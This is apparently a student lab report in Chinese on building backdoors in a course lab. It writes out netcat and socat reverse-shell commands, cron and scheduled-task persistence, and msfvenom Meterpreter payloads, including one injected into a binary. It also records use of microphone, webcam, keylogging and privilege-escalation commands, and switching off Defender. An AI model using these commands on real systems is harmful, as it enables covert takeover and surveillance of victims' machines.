一. 实验内容
- 实践目标
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
- 回答问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
攻击者通过电子邮件附件、恶意网站、即时消息或其他社会工程手段将含有恶意代码的文件发送给目标用户。
用户无意中打开了包含恶意代码的文件,触发了漏洞利用。
恶意代码利用该漏洞获取系统权限,并安装了一个后门程序,该程序允许攻击者远程控制用户的计算机而不被察觉。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
-
Linux中:
通过cron将后门设置为定时启动,通过反弹式连接到客户端,然后恶意控制启动后门。
创建一个 systemd 服务单元文件(.service 文件),并将其放置在 /etc/systemd/system/ 目录下,然后使用 systemctl enable 命令启用。 -
Windows中:
攻击者将后门捆绑植入到各种正常的文件、程序中,当打开这些文件程序时,后门被启动。
利用 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 或 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 注册表键来设置后门程序随系统启动自动运行。
通过修改系统或其他合法应用程序的加载路径,插入恶意DLL,从而在这些应用程序启动时加载后门程序。
(3)Meterpreter有哪些给你映像深刻的功能?
Meterpreter提供了一些尝试提升权限的技术,可以利用本地系统账户或利用已知的漏洞。
meterpreter可以将shellcode捆绑在某个软件上,这样给受害者带来极大迷惑性,防不胜防。
(4)如何发现自己有系统有没有被安装后门?
- 更新系统和软件,确保所有的操作系统补丁、应用程序更新都已经安装。许多后门都是利用已知的漏洞进行安装的。
- 使用反病毒和反恶意软件工具。
- 监控系统日志,检查系统和应用程序的日志文件,寻找异常活动的迹象。
- 检查开放端口和服务使用网络扫描工具来检查系统是否有异常开放的端口和服务。
- 查看启动项和服务,寻找可疑的新条目或配置更改。
1.3 本周学习内容
(1)后门概念
后门就是不经过正常认证流程而访问系统的通道。
(2)后门案例
苹果xcode被植入恶意代码(供应链攻击)、CCleaner、阿里云发现Log4j 2 核弹级漏洞
(3)后门技术
管控功能实现技术、自启动技术、进程隐藏技术、数据穿透与躲避技术
二. 实验过程
- 使用netcat获取主机操作Shell,cron启动某项任务
在windows命令行输入:ncat.exe -l -p 2313
在kali命令行里登录root用户,输入:nc 192.168.3.58 2313 -e /bin/sh
这时在windows命令行里输入ls,能够成功查询kali的文件:
可以看到,kali成功获取了windows的shell。
输入crontab -e
,选择2
按i进入INSERT模式,输入30 * * * * /bin/netcat 192.168.3.58 2313 -e /bin/sh
输入cron -l
查看时程表:
进入 ,使用管理员权限打开,可以看到一个root文件:
在windows命令行里输入echo "* * * * * echo "20222313" > /home/ranhaoning/2313_1.txt" > /var/spool/cron/crontabs/root
,输入crontab -l
在kali的对于文件里可以看到,20222313已经被成功写入:
- 使用socat获取主机操作Shell,任务计划启动
在windows终端中打开socat.exe所在的文件夹,输入socat.exe tcp-listen:2313 exec:cmd.exe,pty,stderr
下载socat。
在kali终端中输入socat - tcp:192.168.3.58:2313
,下载socat。
编写一个程序:
在Linux上启用Windows的程序,通过命令行创建任务计划,在shell里输入命令:
schtasks /create /sc minute /mo 1 /tn "20222313rhn" /tr C:\Users\Desktop\.exe
(每一分钟执行一次我写的这个程序:)
打开计算机管理,可以看到目前正在活动的任务“20222313rhn”:
- 使用MSF meterpreter生成后门,利用ncat或socat传送到主机并运行获取主机Shell
这一步之前先把windows的防火墙和杀毒软件关闭。
在kali命令行中输入ifconfig
查看虚拟机的ip地址。
可以看到,kail主机的ip地址是192.168.58.132。
下面我们来拆解一条命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.58.132 LPORT=2313 -f exe > 2313backdoor.exe
:
- LHOST=192.168.58.132是shell连接的主机ip地址
- LPORT=2313是攻击者监听的端口号
- -f exe指定了 payload 的格式,这里是exe
- 2313backdoor.exe是生成的恶意可执行文件
因此,输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.58.132 LPORT=2313 -f exe > 2313backdoor.exe
,使用msfvenom工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到一个可执行文件2313backdoor.exe
主机进入ncat目录下,输入ncat.exe -lv 2313 > "C:\Users\lenovo\Desktop\2313backdoor.exe"
,该命令可以监听2313窗口等待接收可执行文件2313backdoor.exe,并将2313backdoor.exe文件存放在桌面上。
在kali终端中输入nc 192.168.3.58 2313 < 2313backdoor.exe
,将生成的后门文件2313backdoor.exe传给主机。
windows桌面成功找到2313backdoor.exe后门可执行程序。
在kali终端输入以下命令:
msfconsole
use exploit/multi/handler
(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp
(使用和生成后门程序时相同的payload)
set LHOST 192.168.3.58
(攻击机的IP地址)
set LPORT 2313
(监听的端口)
exploit
(运行监听模块)
因虚拟机网卡和主机网卡冲突问题,短期实在没有解决,下列实验步骤在20222326王蓉同学的电脑上继续完成,感谢老师的理解!
因虚拟机网卡和主机网卡冲突问题,短期实在没有解决,下列实验步骤在20222326王蓉同学的电脑上继续完成,感谢老师的理解!
因虚拟机网卡和主机网卡冲突问题,短期实在没有解决,下列实验步骤在20222326王蓉同学的电脑上继续完成,感谢老师的理解!
在windows终端运行后门程序。
这时,可以在kali中输入ls
查看主机目录,说明已经与主机连接成功:
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
继续输入命令:
record_mic
音频
screenshot
截屏
webcam_snap
拍照
keyscan_start
开始读取键盘记录
keyscan_dump
读取键盘记录结束
音频文件:
截屏:
拍照:
读取键盘记录:
- 提权
输入命令:
getuid
查看当前用户
getsystem
提权指令
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在kali命令行下输入:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.85.132 LPORT=8888 -x /home/r20222326/pwn2 -f elf > 20222313_1pwn
(使用了msfvenom 工具生成一个 Meterpreter 反向 TCP shell的 payload,并将其注入到指定的可执行文件中,然后将结果输出到一个名为 20222313_1pwn的文件中。)
-p linux/x86/meterpreter/reverse_tcp:指定要生成的 payload 类型。
LHOST=192.168.85.132:目标主机 IP 地址为 192.168.85.132,这里即虚拟机IP地址。
LPORT=8888:设置 Meterpreter shell 使用的本地端口号为 8888。
-x /mnt/hgfs/share/pwn1:指定一个可执行文件作为模板,生成的 payload 将会注入到该文件中。
-f elf:指定输出文件的格式为 ELF 格式,适用于 Linux 系统的可执行文件格式。
输入chmod a+x 20222313_1pwn
对文件赋予权限:
接下来重现监听过程,输入命令:
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.85.132
set LPORT 8888
exploit
打开另一个shell,输入./20222313_1pwn
运行生成的20222313_1pwn文件(需要使用root权限)
回到第一个shell,输入ls
确认连接,成功实现远程控制shell
三、 问题
- 问题:windows运行20222313backdoor.exe后门程序时显示版本与电脑不兼容:
解决办法:在kali中生成后门文件时改变编码方式,程序得以成功运行:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.58.132 LPORT=2313 -f exe -a x86 --platform windows > 2313backdoor.exe
- 问题:从虚拟机中传送后门文件到主机时会被Windows defender查杀。
解决方法:关闭Windows防火墙和实时保护。
四、实验感悟和思考
通过这次实验,我对后门的基本原理和实际应用有了深入的理解,掌握了 ncat、socat 以及 MSF meterpreter 等工具的使用方法,这些工具不仅强大而且灵活,能够在模拟环境中重现真实世界的攻击场景。通过实际操作,我真切地感受到了后门的强大威力——它们能够在不知不觉中给予攻击者对系统的完全控制权。
实验中最令人印象深刻的部分是模拟了一个简单的后门攻击。我创建了一个包含恶意代码的文件,并通过社交工程手段让“受害者”运行该文件。结果,我成功获得了对该系统的远程控制权,一旦用户不小心点击了未知来源的文件,计算机就可能被轻易地控制。
我还学到了一些实用的安全措施,例如定期更新系统和应用程序、使用强密码、启用双重认证以及安装和维护可靠的杀毒软件。这些都是预防后门入侵的有效手段。然而,随着实验的深入,我逐渐意识到后门带来的不仅仅是技术上的挑战,更是对个人隐私和网络安全的巨大威胁。这次实验不仅增强了我的技术能力,更重要的是提高了我的安全意识。在网络活动中,我们必须始终保持警惕,从正规渠道下载软件,并且不随意打开来历不明的链接或附件。只有这样,才能最大限度地保护我们的个人信息和资产安全,不让不法分子有机可乘。